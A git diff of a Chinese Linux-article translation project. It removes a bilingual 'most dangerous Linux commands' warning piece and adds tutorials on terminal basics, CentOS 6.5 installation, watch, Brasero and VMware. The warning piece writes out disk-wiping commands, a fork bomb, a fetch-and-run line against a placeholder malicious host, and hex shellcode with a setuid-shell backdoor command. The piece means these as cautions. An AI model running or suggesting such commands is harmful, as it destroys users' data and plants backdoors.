今天这些就是全部。因为你们爱‘**鲜为人知的命令**‘ ,因此我们将继续这个系列,本系列的下一篇文章将很快发布。
|
||||
|
||||
Till then stay tuned and connected to **Tecmint**. Don’t forget to give your valuable feedback in our comment section. Do a favor to us, Like and share us and help us spread.
|
||||
不要走开继续关注**Tecmint**。不要忘记在评论栏里留下你们有价值的反馈。帮我们一个忙，喜爱、分享我们的文章，并帮我们传播。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/10-lesser-known-effective-linux-commands-part-iv/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
@ -1,166 +0,0 @@
|
||||
10 Most Dangerous Commands – You Should Never Execute on Linux
|
||||
|
||||
"10个最危险的命令 － 你永远不要在Linux下执行，否则呵呵.."
|
||||
|
||||
"================================================================================"
|
||||
|
||||
Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing. This article is not intended to make you furious of **Linux** or **Linux command** line. We just want to make you aware of some of the commands which you should think twice before you execute them.
|
||||
|
||||
"Linux命令行佷有用很高效，也很有趣，但有时候你不确定你自己在正在做什么时尤其的危险。这篇文章并不打算使你对**Linux**或**linux 命令行**感到愤怒。我们只是想让你意识到在你运行有些命令时应该三思而后行。"
|
||||
|
||||
""
|
||||
|
||||
### 1. rm -rf Command ###
|
||||
|
||||
"### 1. rm -rf 命令 ###"
|
||||
|
||||
The **rm -rf** command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with **rm command** are.
|
||||
|
||||
"**rm -rf**命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的打字错误或无知都可能导致不可恢复的系统毁坏。下列是一些**rm 命令**的选项。"
|
||||
|
||||
- **rm** command in Linux is used to delete files.
|
||||
"- **rm** 命令在Linux下通常用来删除文件。"
|
||||
- **rm -r** command deletes the folder recursively, even the empty folder.
|
||||
"- **rm -r** 命令递归的删除文件夹，甚至是空的文件夹。"
|
||||
- **rm -f** command removes ‘Read only File’ without asking.
|
||||
"- **rm -f** 命令能不经过询问直接删除‘只读文件’。"
|
||||
- **rm -rf /** : Force deletion of everything in root directory.
|
||||
"- **rm -rf /** : 强制删除root目录下所有东东。"
|
||||
- **rm -rf ** * : Force deletion of everything in current directory/working directory.
|
||||
"- **rm -rf** * : 强制删除当前目录／工作目录的所有文件。"
|
||||
- **rm -rf .** : Force deletion of current folder and sub folders.
|
||||
"- **rm -rf .** : 强制删除当前文件夹及其子文件夹。"
|
||||
|
||||
Hence, be careful when you are executing **rm -rf** command. To overcome accidental delete of file by ‘**rm**‘ command, create an alias of ‘**rm**‘ command as ‘**rm -i**‘ in “**.bashrc**” file, it will ask you to confirm every deletion.
|
||||
|
||||
"从现在起，当你要执行**rm -rf**命令时请留心一点。我们可以在“**.bashrc**”文件对‘**rm**‘命令创建**rm -i**的别名，来预防用 ‘**rm**‘命令删除文件时的事故，它会要求你确认每一个删除请求。"
|
||||
|
||||
### 2. :(){:|:&};: Command ###
|
||||
|
||||
"### 2. :(){:|:&};: 命令###"
|
||||
|
||||
The above is actually a **fork bomb**. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
|
||||
|
||||
"这就是个**fork 炸弹**的实例。具体操作是通过定义一个名为 ‘:‘的函数，它会调用自己两次，一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。"
|
||||
|
||||
" :(){:|:&};:"
|
||||
|
||||
### 3. command > /dev/sda ###
|
||||
|
||||
"### 3. 命令 > /dev/sda ###"
|
||||
|
||||
The above command writes the output of ‘**command**‘ on the block **/dev/sda**. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.
|
||||
|
||||
"上列命令会将‘**命令**‘的输出写到块设备**/dev/sda**中。该操作会将在块设备中的所有文件替换为命令写入的原始数据，从而导致整个块设备的数据丢失。"
|
||||
|
||||
### 4. mv folder /dev/null ###
|
||||
|
||||
"### 4. mv 文件夹 /dev/null ###"
|
||||
|
||||
The above command will move ‘**folder**‘ to **/dev/null**. In Linux **/dev/null** or **null** device is a special file that discards all the data written to it and reports that write operation succeed.
|
||||
|
||||
"上列命令会移动‘**文件夹**‘到**/dev/null**。在Linux中 **/dev/null** 或 **null** 设备是一个特殊的文件，所有写入它的数据都会被清除，然后返回写操作成功。"
|
||||
|
||||
" # mv /home/user/* /dev/null"
|
||||
|
||||
The above command will move all the contents of a **User** directory to **/dev/null**, which literally means everything there was sent to **blackhole (null)**.
|
||||
|
||||
"上列命令会将**User**目录所有内容移动到**/dev/null**，这意味着所有东西都被‘卷入’**黑洞 (null)**之中。"
|
||||
|
||||
### 5. wget http://malicious_source -O- | sh ###
|
||||
|
||||
"### 5. wget http://malicious_source -O- | sh ###"
|
||||
|
||||
The above command will download a script from a malicious source and then execute it. Wget command will download the script and **sh** will execute the downloaded script.
|
||||
|
||||
"上列命令会从一个恶意源下载一个脚本并执行。Ｗget命令会下载这个脚本，而**sh**会执行下载下来的脚本。"
|
||||
|
||||
**Note**: You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts/applications which is downloaded from a trusted source.
|
||||
|
||||
"**注意**: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。"
|
||||
|
||||
### 6. mkfs.ext3 /dev/sda ###
|
||||
|
||||
"### 6. mkfs.ext3 /dev/sda ###"
|
||||
|
||||
The above command will format the block ‘**sda**’ and you would surely be knowing that after execution of the above command your Block (**Hard Disk Drive**) would be new, **BRAND NEW!** Without any data, leaving your system into unrecoverable stage.
|
||||
|
||||
"上列命令会格式化块设备‘**sda**’，你无疑知道在执行上列命令后你的块设备(**硬盘驱动器**)会被格式化，**崭新的!**没有任何数据，直接让你的系统达到不可恢复的阶段。"
|
||||
|
||||
### 7. > file ###
|
||||
|
||||
"### 7. > file###"
|
||||
|
||||
The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> **xt.conf**” will write the configuration file or any other system or configuration file.
|
||||
|
||||
"上列命令常用来清空文件内容。如果用上列执行时输入错误或无知的输入类似 “> **xt.conf**” 的命令会覆盖配置文件或其他任何的系统配置文件。"
|
||||
|
||||
### 8. ^foo^bar ###
|
||||
|
||||
"### 8. ^foo^bar ###"
|
||||
|
||||
This command, as described in our [10 Lesser Known Linux Commands][1], is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t took the risk of thoroughly checking the change in original command using **^foo^bar** command.
|
||||
|
||||
"这个命令在我们[10个鲜为人知的Linux命令][1]中描述过，用来编辑先前运行的命令而无需重打整个命令。但当用**^foo^bar**命令时如果你没有彻底检查改变原始命令的风险，这可能导致真正的麻烦。"
|
||||
|
||||
### 9. dd if=/dev/random of=/dev/sda ###
|
||||
|
||||
"### 9. dd if=/dev/random of=/dev/sda ###"
|
||||
|
||||
The above command will wipe out the block **sda** and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.
|
||||
|
||||
"上列命令会向块设备**sda**写入随机的垃圾文件从而擦出数据。当然！你的系统可能陷入不协调和不可恢复的状态。"
|
||||
|
||||
### 10. Hidden the Command ###
|
||||
|
||||
"### 10. 隐藏命令 ###"
|
||||
|
||||
The below command is nothing but the first command above (**rm -rf**). Here the codes are hidden in **hex** so that an ignorant user may be fooled. Running the below code in your terminal will wipe your **root** partition.
|
||||
|
||||
"下面的命令其实就是上面第一个命令 (**rm -rf**)。这里的代码是隐藏在**十六进制**里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你对**root**分区。"
|
||||
|
||||
This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don’t compile/run codes from an unknown source.
|
||||
|
||||
"这个命令表明通常真正的危险是隐藏的，不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译／运行从未知来源的代码。"
|
||||
|
||||
" char esp[] __attribute__ ((section(“.text”))) /* e.s.p"
|
||||
" release */"
|
||||
" = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″"
|
||||
" “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″"
|
||||
" “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″"
|
||||
" “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″"
|
||||
" “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″"
|
||||
" “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″"
|
||||
" “\x6e\x2f\x73\x68\x00\x2d\x63\x00″"
|
||||
" “cp -p /bin/sh /tmp/.beyond; chmod 4755"
|
||||
" /tmp/.beyond;”;"
|
||||
|
||||
**Note**: Don’t execute any of the above command in your **Linux** terminal or shell or of your friend or school computer. If you want to test them, run them in virtual machine. Any in-consistence or data loss, due to the execution of above command will break your system down for which, neither the **Author** of the article nor **Tecmint** is responsible.
|
||||
|
||||
"**注意**: 不要在你的或你的同学或学校的电脑里的**Linux**终端或Shell执行以上的任何一个命令。如果你想测试它们，请在虚拟机上运行。任何不和谐或数据丢失，由于运行上面的命令导致你的系统崩溃，文章**作者**和**Tecmint**概不负责。"
|
||||
|
||||
That’s all for now. I will soon be here again with another interesting article you people will love to read. Till then Stay tuned and connected to **Tecmint**. If you know any other such **Dangerous Linux Commands** and you would like us to add to the list, please tell us via comment section and don’t forgot to give your value-able feedback.
|
||||
|
||||
"今天就到此为止吧，我会很快回来这里，同时带上另一篇你们喜欢的文章。到那时请继续关注和链接到**Tecmint**。如果你知道任何其他**危险的Linux命令**，也想添加到我们的列表中，请通过评论留言给我们同时也别忘了留下你的宝贵意见。"
|
||||
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
|
||||
|
||||
译者：[Luoxcat](https://github.com/Luoxcat) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/
|
||||
[2]:
|
||||
[3]:
|
||||
[4]:
|
||||
[5]:
|
||||
[6]:
|
||||
[7]:
|
||||
[8]:
|
||||
[9]:
|
||||
[10]:
|
||||
[11]:
|
||||
[12]:
|
||||
@ -0,0 +1,63 @@
|
||||
成为 Linux 终端高手的 7 个基本点
|
||||
================================================================================
|
||||
Linux 终端不仅是一个键入命令的地方。如若你能熟谙基本操作，那么你将掌握绝大多数 Linux 发行版的默认配置 Bash shell。
|
||||
|
||||
howtogeek.com 对初级用户，以及那些学习过程中或多或少有一些遗漏的高级用户提出几个基本点——
|
||||
|
||||
**1.Tab 补全** – 这样能节省时间，并且对于输入那些你不确定其具体名称的文件和命令来说很方便。比如，当前目录下有一个名为“really long file name”的文件，你想要删除它。你可以输入完整的文件名，但是你必须确保正确地输入了空格。若当前目录下还有许多以字母“r”开头的文件，(如果你没有正确地输入空格) Bash 将不知道你想要删除哪一个文件。
|
||||
|
||||
如果在当前目录下存在着另一个名为“really very long file name”的文件，你敲击了Tab键。Bash
|
||||
将为所有以“r”开头的文件自动填充“really\”部分。此时继续敲击Tab键，你将得到匹配所有文件名的列表。
|
||||
|
||||
**2.管道机制** – 这种机制允许你把一条命令的输出传送到另一条命令。按照 UNIX 哲学，每个程序都足够小，只做一件事并将之做到最好。例如，ls命令列出当前目录下的所有文件，grep命令搜索输入其中的指定检索项。
|
||||
|
||||
你可以通过管道机制（|字符）把二者结合起来，在当前目录下搜索文件。以下给出的命令（在当前文件夹下）搜索关键字为“word”的文件：
|
||||
|
||||
ls | grep word
|
||||
|
||||
**3.通配符** – “*”（星号）字符是一种匹配任意长度字符的通配符。比如，你想删除当前文件夹下名为“really long file name”和“really very long file name”的文件，你可以运行以下命令：
|
||||
|
||||
rm really*name
|
||||
|
||||
这条命令会删除所有以“really”开头以“name”结尾的文件。但是，如果你运行的是 rm * 这条命令，你将会删除文件夹下的所有文件。
|
||||
|
||||
**4.输出重定向** – “>”字符可以把一条命令的输出重定向到一个文件或另一条命令。比如，下面这行命令执行完 ls 后会列出当前文件夹下的所有文件，其结果不是在终端显示，而是输出到当前文件夹下一个名为“file1”的文件中去:
|
||||
|
||||
ls > file1
|
||||
|
||||
**5.历史记录** – Bash 能记住你以前输入过的命令，上、下方向键可以逐行调出它们。使用 history 命令打印历史记录，以管道机制 grep 选择性地输出你想要的结果。
|
||||
|
||||
~, . & ..
|
||||
|
||||
“~”，也叫做波浪符，用来表示当前用户的主目录。相比通过 cd /home/name 到达你的主目录，你可以输入 cd ~ 来达到相同效果。这点也可以在相关路径上使用 – 比如 cd ~/Desktop 能够到达当前用户的 Desktop 目录。
|
||||
|
||||
同样，“.”代表当前目录，“..”代表当前目录的父目录。使用 cd .. 可以返回上一级目录。它们也可以用在相关路径上，举例说明：你当前处在 Desktop 文件夹下，通过 cd ../Documents 命令，你可以转到与 Desktop 共有同一父文件夹的 Documents 文件夹去。
|
||||
|
||||
**6.后台命令** – Bash 默认会在当前终端执行你键入的每条命令。通常没有问题，但是如果你想要在启动应用后继续使用终端呢？通过输入 firefox 启动火狐浏览器，你的终端将被错误提示等各种信息输出占据，直到你关闭火狐浏览器为止。在 Bash 中你可以通过在命令结尾添加“&”操作符来后台执行程序。
|
||||
|
||||
firefox &
|
||||
|
||||
**7.条件执行** – Bash 也可以连续执行两条命令。 第二条命令仅在第一条命令成功执行后才会开始执行。如若如此，你可以通过键入“&&”，也就是两个与字符进行分隔，在同一行输入两条命令。下面给出的命令会在等待 5 秒后运行 gnome-screenshot 工具:
|
||||
|
||||
sleep 5 && gnome-screenshot
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.efytimes.com/e1/fullnews.asp?edid=123564
|
||||
|
||||
译者：[SteveArcher](https://github.com/SteveArcher) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:
|
||||
[2]:
|
||||
[3]:
|
||||
[4]:
|
||||
[5]:
|
||||
[6]:
|
||||
[7]:
|
||||
[8]:
|
||||
[9]:
|
||||
[10]:
|
||||
[11]:
|
||||
[12]:
|
||||
@ -0,0 +1,141 @@
|
||||
CentOS 6.5 桌面版安装教程附带大量截图
|
||||
================================================================================
|
||||
### CentOS 6.5 新版本发布 ###
|
||||
|
||||
随着RHEL 6.5新版本的发布，[CentOS 6.5][1]在12月1号准时跟上。现在是时间来玩弄它了。对于那些想要从已经安装好的6.4系统升级到6.5只要简单的使用* yum update *命令然后就是见证奇迹的时刻。
|
||||
|
||||
CentOS 6.5 迎来了新的更新包和新功能。可以在[release notes][2]中查看更多细节信息。
|
||||
|
||||
### 主要更新 ###
|
||||
|
||||
> 精密时间协议 - 以前仅是一个科技预览版 - 现在已经完整支持了！以下设备支持网络时间标记：bnx2x,tg3 , e1000e , igb , ixgbe ,sfc。
|
||||
> OpenSSL 升级到1.0.1版本
|
||||
> OpenSSL、NSS支持TLS1.1和1.2
|
||||
> KVM得到大量加强.包括提升对VMDK- 和 VHDX-Files 的只读，CPU支持热插拔以及升级了 virt-v2v-/virt-p2v-conversion 工具
|
||||
> Hyper-V 和 VMware 驱动升级
|
||||
> 升级到 Evolution（2.32）和 Libre Office（4.0.4）
|
||||
|
||||
### 下载 ###
|
||||
|
||||
这篇教程我们将要安装它的桌面版。请从下面的任意一个的url开始
|
||||
|
||||
[http://isoredirect.centos.org/centos-6/6.5/isos/][3]
|
||||
[http://mirror.centos.org/centos/6.5/isos/][4]
|
||||
|
||||
|
||||
选择你的机器制式，它会列出一张镜像表。进入任何一个镜像、得到种子文件下载或者直接下载iso链接。有许多选择下载方式可以选择，比如，LiveCD, LiveDVD, Dvd1+2, Minimal 和 Netinstall.
|
||||
|
||||
Minimal安装程序是一个提供文字安装，这样安装的CentOS将只有shell和最少软件应用程序。剩余的所有东西不得不你自己安装。
|
||||
|
||||
LiveCD/LiveDVD提供桌面版和GUI安装程序，可以安装CentOS系统但是不提供任何可选择的软件包。
|
||||
|
||||
DvD1+2 被设置为提供完整的应用程序给需要他的人
|
||||
|
||||
netinstall 事实上会先下载安装镜像然后再安装
|
||||
|
||||
这篇文章我们将使用LiveCD。 它大概有650MB。
|
||||
尽管CentOS主要使用在服务器上，但有一个桌面系统可以帮助你的服务器在安装时创造一个基础GUI的安装环境。在其他文章，我们将会尝试minimal 和 netinstall安装方法。
|
||||
|
||||
|
||||
### 安装 ###
|
||||
|
||||
所以现在，该是时候在你的桌面系统安装CentOS了。快点使用LiveDVD或者是LiveCD去启动运行吧！
|
||||
|
||||
|
||||
1.放入媒体然后重启。启动菜单有多个带说明的选项。选择Boot进入Live桌面。
|
||||
|
||||
|
||||
|
||||
|
||||
2.在桌面上双击下列安装图标，开启anaconda安装器。
|
||||
|
||||
|
||||
|
||||
3.进入安装向导，点击Next（下一步）
|
||||
|
||||
|
||||
|
||||
4.**键盘布局** - 这一步会询问你，选择你的键盘布局。（译注：推荐选择U.S. English）
|
||||
|
||||
|
||||
|
||||
|
||||
5.**存储类型**完成键盘布局的选择，接下来的是选择用来安装CentOS的存储类型。对于本地硬盘启动，应该选择Basic storage。
|
||||
|
||||
|
||||
|
||||
6.**主机名** 下一步 anaconda 安装器会询问主机名。所以填入适当的词。如果不确定，随意输入一个（译注：主机名hostname可以随时更改）。
|
||||
|
||||
|
||||
|
||||
7.**时区选择** 接下来选择时区选项。
|
||||
|
||||
|
||||
|
||||
|
||||
8.**Root 密码** 下面是输入 root 密码 ，最好是输入一个熟悉的密码。
|
||||
|
||||
|
||||
|
||||
9.**规划分区** 现在向导想要知道，你将要怎么规划存储设备。
|
||||
如果你需要自己规划分区，选择 “Custom Layout” 并根据需要分区。为了这篇教程的目的，我们选择了第一个选项，那就是使用整个设备并让CentOS用它喜欢的规划自动分区。
|
||||
|
||||
|
||||
|
||||
10.**复制文件** 现在安装已经开始复制文件了。现在除了等待和盯着没有什么事情可以做。LiveCD安装器基本上从CD镜像上复制到硬盘上。你没有得到任何安装包的选项去选择安装或省略。同样liveCD只有很少的软件和应用程序一起打包。
|
||||
|
||||
|
||||
|
||||
### 安装完毕后配置 ###
|
||||
|
||||
11.在安装完毕后会自动重启，欢迎向导将出现来进一步配置系统。
|
||||
|
||||
|
||||
|
||||
12.许可证协议 就像所有CentOS的软件一样会有一个很小只有几行的许可证。所以同意吧！
|
||||
|
||||
|
||||
|
||||
13.**创建用户** 现在为自己创建一个使用系统的普通用户。
|
||||
|
||||
|
||||
|
||||
14.**当前日期和时间** 输入当前日期和时间并且选择使用网络自动同步时间。
|
||||
|
||||
|
||||
|
||||
15.**Kdump**这是欢迎向导的最后一步，询问Kdump应该是开启还是关闭。推荐开启它。
|
||||
|
||||
|
||||
|
||||
### 开始使用 CentOS 6.5 ###
|
||||
|
||||
结束完之前步骤，系统将会重启，最后引导到登陆界面。
|
||||
|
||||
|
||||
|
||||
登陆之后，迎来的金光闪闪的CentOS 6.5 的桌面！
|
||||
|
||||
|
||||
|
||||
|
||||
希望你喜欢这篇安装指南，可以在下方留下你的评论和问题。
|
||||
|
||||
### 资源 ###
|
||||
|
||||
CentOS 6.5 release notes（版本记录）
|
||||
[http://wiki.centos.org/Manuals/ReleaseNotes/CentOS6.5][5]
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.binarytides.com/centos-6-5-installation-screenshots/
|
||||
|
||||
译者：[Vic___](http://blog.csdn.net/Vic___) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://lists.centos.org/pipermail/centos-announce/2013-December/020032.html
|
||||
[2]:http://wiki.centos.org/Manuals/ReleaseNotes/CentOS6.5
|
||||
[3]:http://isoredirect.centos.org/centos-6/6.5/isos/
|
||||
[4]:http://mirror.centos.org/centos/6.5/isos/
|
||||
[5]:http://wiki.centos.org/Manuals/ReleaseNotes/CentOS6.5
|
||||
65
translated/Command Line Basics – watch.md
Normal file
65
translated/Command Line Basics – watch.md
Normal file
@ -0,0 +1,65 @@
|
||||
Linux 基础命令 – watch
|
||||
================================================================================
|
||||
linux系统里有一些日志文件。观察这些日志文件是系统管理员的一个重要任务。你可以很方便地[使用tail命令][1]观察它们。但是如果你想要长时间监视这些文件,每几分钟使用tail检查那些日志文件是一件很乏味的事情。你会写一个短小的[无限循环的脚本][2]来周期性地检查文件,但是它会导致已经有程序为你处理了重复的任务。
|
||||
|
||||
### Linux watch 命令 ###
|
||||
|
||||
Linux中的**watch** 命令提供了一种方式处理重复的任务。默认上**watch**会每2秒重复执行命令。就如你想的,watch是一个很好的观察log文件的工具。下面是一个例子。
|
||||
|
||||
watch tail /var/log/syslog
|
||||
|
||||
想要停止命令的执行,只要使用标准的kill流程, **[Ctrl]+C**。
|
||||
|
||||
|
||||
*使用Linux watch命令监测syslog*
|
||||
|
||||
你可以使用**-n**开关改变并指定时间间隔。要想每10秒检测日志文件,试试这个。
|
||||
|
||||
watch -n 10 tail /var/log/syslog
|
||||
|
||||
### 带有管道的watch命令 ###
|
||||
|
||||
**watch**没有被限制浏览日志文件。它可以用来重复你给它的任何命令。如果你要[监测CPU的温度][3],你可以使用**watch**后跟上**sensord**命令来查看。
|
||||
|
||||
watch -n 1 sensors
|
||||
|
||||
我电脑上的输出看上去就像这样:
|
||||
|
||||
acpitz-virtual-0
|
||||
Adapter: Virtual device
|
||||
temp1: +45.0°C (crit = +100.0°C)
|
||||
|
||||
我想过滤一下这个输出来只显示温度而不显示其他的。
|
||||
|
||||
我可以使用这个命令来查看
|
||||
|
||||
sensors | grep temp | awk '{ print $2 }'
|
||||
|
||||
记住,watch命令会重复它后面的第一个命令。必须要注意命令后面跟上管道的情况。你可以将你的命令放在引号里面来管理。
|
||||
|
||||
watch -n1 "sensors | grep temp | awk '{ print $2 }'"
|
||||
|
||||
|
||||
*带管道的watch命令*
|
||||
|
||||
### 将watch作为时钟 ###
|
||||
|
||||
就像你现在已经注意到的,**watch**执行后会在你的终端的右上角显示时间。我们可以通过传给watch一个空的命令参数来把它作为一个简单的时钟。 我们可以将一个空格包含在引号中来作为一个空的参数。
|
||||
|
||||
watch -n 1 " "
|
||||
|
||||
如你所见,这给予这个命令另外一个意义,**手表(watch)**。你可以把它作为你的腕表。
|
||||
|
||||
现在你知道如何使用Linux的watch命令。你要用它处理什么重复任务?
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://tuxtweaks.com/2013/12/linux-watch-command/
|
||||
|
||||
译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://tuxtweaks.com/2011/02/command-line-basics-head-and-tail/
|
||||
[2]:http://tuxtweaks.com/2012/01/creating-a-terminal-window-clock/
|
||||
[3]:http://tuxtweaks.com/2008/08/how-to-control-fan-speeds-in-ubuntu/
|
||||
@ -0,0 +1,45 @@
|
||||
每日Ubuntu小技巧 - 使用Ubuntu拷贝CD和DVD光盘
|
||||
================================================================================
|
||||
Ubuntu，一个功能强大的现代操作系统，可以执行很多任务。你可以使用Ubuntu创建文档，浏览网页，聆听音乐，以及烧录或拷贝媒体光盘。
|
||||
|
||||
就像Windows和Max OS X一样，Ubuntu是无所不能的！
|
||||
|
||||
这篇简单的手册将告诉你如何使用Ubuntu拷贝，翻录或烧录一张CD/DVD光盘。如果你有一张包含音频文件（音乐）或视频文件（电影）的光盘，并且你想要复制这张光盘（创建多个副本），使用Ubuntu会使你很容易做到。
|
||||
|
||||
如果你已经准备好想要拷贝进一张媒体光盘（CD/DVD）的音频或视频文件，Ubuntu也可以处理它。你可以在Ubuntu上安装很多的免费软件用于烧录或翻录一张CD/DVD光盘，但Ubuntu已经安装好一款默认的相关软件。接下来我们会使用这款默认软件去拷贝或翻录CD/DVD光盘。
|
||||
|
||||
Brasero光盘烧录机安装在UBuntu的每一个版本上。它是Ubuntu上默认的光盘烧录机。它被设计得足够简单，拥有诸多独特的特性来使得用户能够快速简便地创建光盘。
|
||||
|
||||
下面列出来的是Brasero的一些特性：
|
||||
- 创建数据CD/DVD时自动过滤隐藏和损坏的文件
|
||||
- 同时支持多个绘画，可以执行磁盘文件的完整性
|
||||
- 可以在忙碌中烧录视频CD/DVD[on the fly翻译不合适]
|
||||
- 可以拷贝CD/DVD到系统硬盘
|
||||
- 可以擦除CD/DVD
|
||||
|
||||
还有很多其它的功能。如果你想找一个Ubuntu上简便的磁盘刻录机，在做任何操作前请先检查这个软件。
|
||||
|
||||
为了开始使用Brasero去烧录CD/DVD光盘，请确保你的电脑安装了CD/DVD烧录机。如果没有，你将无法成功烧录。如果你的电脑符合要求，将你想要翻录的数据插入CD/DVD，然后进入Dash，搜索Brasero。
|
||||
|
||||
当Brasero打开后，选择磁盘拷贝。这个功能会拷贝一个光盘里的内容，然后将其写入到另一个光盘中。如果这是你想要的，请继续。
|
||||
|
||||
|
||||
|
||||
如果Ubuntu能够访问你的CD/DVD烧录机，Brasero会打开并自动识别光盘内容。在这里，你可以单击 **复制** 从源光盘创建一个拷贝。如果你希望创建多个拷贝，单击按钮 **创建多个拷贝**。
|
||||
|
||||
|
||||
|
||||
当系统提示安装所需的软件包时，单击 **安装**。
|
||||
|
||||
|
||||
|
||||
安装完成后，Brasero会开始拷贝光盘。如果最终光盘完成拷贝，系统会提示你插入一张空白的可写入的CD/DVD光盘以便写入拷贝。插入它然后等待完成将内容写入光盘的操作。
|
||||
|
||||
当你完成以上操作时，移除光盘，就可以使用烧录好的光盘了！
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/12/daily-ubuntu-tips-copy-cd-dvd-discs-using-ubuntu/
|
||||
|
||||
译者：[KayGuoWhu](https://github.com/KayGuoWhu) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -0,0 +1,54 @@
|
||||
每日Ubuntu小技巧 - 在Ubuntu上面安装VMware Workstation
|
||||
================================================================================
|
||||
VMware Workstation是第二类商用虚拟化软件。被称为第二类是因为它是运行在现有的操作系统之上的，而正在运行的计算机成为宿主机。
|
||||
|
||||
你可以使用VMware Workstation在运行在宿主机上的一个操作系统上同时运行多个客户机。客户机可以是被支持的32位或者64位的操作系统。VMware Workstation支持Windows，Mac OS X，Solaris和许多其他系统。
|
||||
|
||||
|
||||
这篇简短的教程将会教你怎么在Ubuntu上面安装VMware Workstation。
|
||||
|
||||
因为这个软件是商业软件，因此你必须要拥有一个可用的许可证才能够使用它。你可以从下载页面 [下载30天免费体验版][1]来体验它。如果你想注册，获得并且验证一个许可证即可。
|
||||
|
||||
想要在Ubuntu上开始安装VMware Workstation，首先需要运行如下命令升级Ubuntu。
|
||||
|
||||
sudo apt-get update && sudo apt-get dist-upgrade && sudo apt-get autoremove
|
||||
|
||||
升级完电脑后，运行如下命令来让Ubuntu为安装做好准备。
|
||||
|
||||
sudo apt-get install build-essential linux-headers-`uname -r`
|
||||
|
||||
然后，下载VMware Workstation。接着进入Firefox保存文件的 **~/下载** 目录。
|
||||
|
||||
cd Downloads
|
||||
|
||||
如果下载的包是.zip格式的，则运行如下命令解压下载的包，否则跳过这一步。
|
||||
|
||||
unzip VMware-Workstation-Full*.zip
|
||||
|
||||
然后，运行如下命令让文件可以被执行。
|
||||
|
||||
chmod +x VMware-Workstation-Full*.bundle
|
||||
|
||||
最后，运行下面的命令开始安装。
|
||||
|
||||
sudo ./VMware-Workstation-Full*.bundle
|
||||
|
||||
在完成安装前按照向导进行选择。当所以工作完成后，从Dash打开它并开始创建客户机。
|
||||
|
||||
|
||||
|
||||
你可以从所有的类型中选择创建许多客户机，包括Windows，Linux，Nevell，Solaris等。
|
||||
|
||||
|
||||
|
||||
Enjoy!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/12/daily-ubuntu-tips-install-vmware-workstation-in-ubuntu/
|
||||
|
||||
译者：[SCUSJS](https://github.com/scusjs) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_workstation/10_0
|
||||
@ -0,0 +1,33 @@
|
||||
每日 Ubuntu 小技巧 - 更改 Ubuntu 使用语言
|
||||
================================================================================
|
||||
Ubuntu 是一个功能强大的现代化操作系统，并且它还允许你使用多种语言的桌面。在默认情况下，在你第一次安装 Ubuntu 的时候会预装几个语言包。但如果你想要你的 Ubuntu 能够支持更多语言的话，那你就必须安装额外的语言包。通常不是所有的语言都是支持的，但是大多数使用中的语言以及书面语言都能够被支持。下面是一个是简短教程，它将会展示如何去实现。
|
||||
|
||||
